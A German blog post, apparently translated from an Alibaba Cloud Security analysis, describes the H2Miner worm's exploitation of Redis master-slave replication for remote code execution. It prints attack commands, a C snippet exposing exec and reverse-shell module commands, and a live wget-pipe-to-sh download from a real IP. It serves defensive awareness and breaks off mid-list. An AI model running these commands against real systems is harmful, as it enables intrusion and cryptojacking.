{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"Ein neuer H2Miner-Wurm-Ausbruch wurde entdeckt, der Redis RCE ausnutzt","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Vor einem Tag wurde einer der Server meines Projekts von einem \u00e4hnlichen Wurm angegriffen. Auf der Suche nach einer Antwort auf die Frage \u201eWas war das eigentlich?\u201c fand ich einen gro\u00dfartigen Artikel des Alibaba Cloud Security-Teams. Da ich diesen Artikel nicht auf Habr gefunden habe, beschloss ich, ihn speziell f\u00fcr euch zu \u00fcbersetzen <3\n<\/p><\/blockquote>\n

Einleitung<\/h2>\n

\nK\u00fcrzlich entdeckte das Sicherheitsteam von Alibaba Cloud einen pl\u00f6tzlichen Ausbruch von H2Miner. Diese Art von sch\u00e4dlichem Wurm nutzt unzureichende Authentifizierung oder schwache Passw\u00f6rter f\u00fcr Redis als Zugang zu Ihren Systemen, synchronisiert dann sein eigenes sch\u00e4dliches Modul mit einem Slave \u00fcber die Master-Slave-Synchronisierung und l\u00e4dt schlie\u00dflich dieses sch\u00e4dliche Modul auf die angegriffene Maschine hoch und f\u00fchrt die sch\u00e4dlichen Anweisungen aus.<\/p>\n

In der Vergangenheit wurden Angriffe auf Ihre Systeme haupts\u00e4chlich durch Methoden durchgef\u00fchrt, die zeitgesteuerte Aufgaben oder SSH-Schl\u00fcssel umfassten, die nach dem Login des Angreifers in Redis auf Ihrer Maschine gespeichert wurden. Gl\u00fccklicherweise kann diese Methode nicht h\u00e4ufig verwendet werden, da es Probleme mit der Berechtigungsverwaltung oder unterschiedliche Versionen des Systems gibt. Dennoch kann diese Methode zum Herunterladen des sch\u00e4dlichen Moduls direkt die Befehle des Angreifers ausf\u00fchren oder auf die Shell zugreifen, was gef\u00e4hrlich f\u00fcr Ihr System ist.<\/p>\n

Wegen der gro\u00dfen Anzahl Server<\/a> von Redis, die im Internet gehostet werden (fast 1 Million), empfiehlt das Sicherheitsteam von Alibaba Cloud als freundliche Erinnerung den Benutzern, keinen Zugang zu Redis aus dem Netzwerk zu gew\u00e4hren und regelm\u00e4\u00dfig die Zuverl\u00e4ssigkeit ihrer Passw\u00f6rter zu \u00fcberpr\u00fcfen sowie darauf zu achten, ob sie anf\u00e4llig f\u00fcr schnelle Passwortauffindung sind.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner ist ein Mining-Botnet f\u00fcr Systeme auf Basis von Linux, das auf verschiedene Weise in Ihr System eindringen kann, einschlie\u00dflich fehlender Authentifizierung in Hadoop Yarn, Docker, und einer Verwundbarkeit zur Ausf\u00fchrung von Remote-Befehlen in Redis (RCE). Das Botnet funktioniert, indem es sch\u00e4dliche Skripten und Malware hochl\u00e4dt, um Ihre Daten zu minen, den Angriff horizontal auszudehnen und eine Command-and-Control (C&C)-Verbindung aufrechtzuerhalten.
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nPawel Toporkov teilte sein Wissen zu diesem Thema auf den ZeroNights 2018 mit. Nach Version 4.0 unterst\u00fctzt Redis die Funktion zum Laden externer Module, die es den Nutzern erm\u00f6glicht, so-Dateien, die mit C in Redis kompiliert wurden, zu laden, um bestimmte Redis-Befehle auszuf\u00fchren. Diese Funktion ist zwar n\u00fctzlich, birgt jedoch eine Schwachstelle, bei der Dateien im Master-Slave-Modus \u00fcber den Fullresync-Modus mit dem Slave synchronisiert werden k\u00f6nnen. Diese kann von Angreifern verwendet werden, um b\u00f6sartige so-Dateien zu \u00fcbertragen. Nach Abschluss der \u00dcbertragung laden die Angreifer das Modul auf die angegriffene Redis-Instanz und f\u00fchren jeden Befehl aus.<\/p>\n

Analyse des b\u00f6sartigen Wurms<\/h2>\n

\nK\u00fcrzlich hat das Sicherheitsteam von Alibaba Cloud festgestellt, dass die Gruppe b\u00f6sartiger Miner H2Miner pl\u00f6tzlich stark gewachsen ist. Laut Analyse sieht der gesamte Ablauf eines Angriffs folgenderma\u00dfen aus:<\/p>\n

\"Ein
\n
\nH2Miner nutzt RCE Redis f\u00fcr einen umfassenden Angriff. Zun\u00e4chst greifen die Angreifer ungesch\u00fctzte Redis-Server oder Server mit schwachen Passw\u00f6rtern an.<\/p>\n

Dann verwenden sie den Befehl config set dbfilename red2.so<\/code> um den Dateinamen zu \u00e4ndern. Danach f\u00fchren die Angreifer den Befehl slaveof<\/code> aus, um die IP-Adresse des Master-Slave-Replikationshosts festzulegen. <\/p>\n

Wenn die angegriffene Redis-Instanz eine Master-Slave-Verbindung zu dem b\u00f6sartigen Redis herstellt, das dem Angreifer geh\u00f6rt, sendet der Angreifer das infizierte Modul mit dem Befehl Fullresync zur Synchronisierung der Dateien. Die Datei red2.so wird dann auf die angegriffene Maschine hochgeladen. Anschlie\u00dfend verwenden die Angreifer das Lademodul .\/red2.so, um diese so-Datei zu laden. Das Modul kann die Befehle des Angreifers ausf\u00fchren oder eine R\u00fcckverbindung (Backdoor) einleiten, um Zugang zur angegriffenen Maschine zu erhalten.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nNach der Ausf\u00fchrung eines b\u00f6sartigen Befehls wie \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, wird der Angreifer den Namen der Backup-Datei zur\u00fccksetzen und das Systemmodul entladen, um Spuren zu verwischen. Dennoch bleibt die Datei red2.so auf der angegriffenen Maschine. Den Nutzern wird empfohlen, auf das Vorhandensein einer solchen verd\u00e4chtigen Datei im Ordner ihrer Redis-Instanz zu achten.<\/p>\n
Zus\u00e4tzlich zur Zerst\u00f6rung bestimmter sch\u00e4dlicher Prozesse zur Ressourcenentwendung folgte der Angreifer einem sch\u00e4dlichen Szenario, indem er bin\u00e4re Schadsoftware herunterlud und ausf\u00fchrte, um 142.44.191.122\/kinsing<\/a><\/noindex>. Dies bedeutet, dass der Prozessname oder der Verzeichnisname, der 'kinsing' auf dem Host enth\u00e4lt, darauf hinweisen k\u00f6nnte, dass dieser Rechner mit diesem Virus infiziert wurde.<\/p>\n
Laut den Ergebnissen der Reverse Engineering f\u00fchrt die Malware haupts\u00e4chlich folgende Funktionen aus:<\/p>\n